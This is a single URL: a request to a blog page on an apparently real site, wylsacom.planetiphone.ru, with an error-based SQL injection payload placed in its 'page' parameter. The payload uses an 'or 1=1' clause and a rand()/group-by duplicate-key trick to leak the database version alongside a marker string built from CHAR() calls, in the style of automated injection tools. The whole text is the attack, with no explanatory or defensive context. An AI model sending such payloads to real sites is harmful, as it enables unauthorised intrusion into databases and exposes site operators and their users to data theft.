http://wylsacom.planetiphone.ru/blog.php?page=-1 or 1=1 and (select 1 and row(1,1)>(select version(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))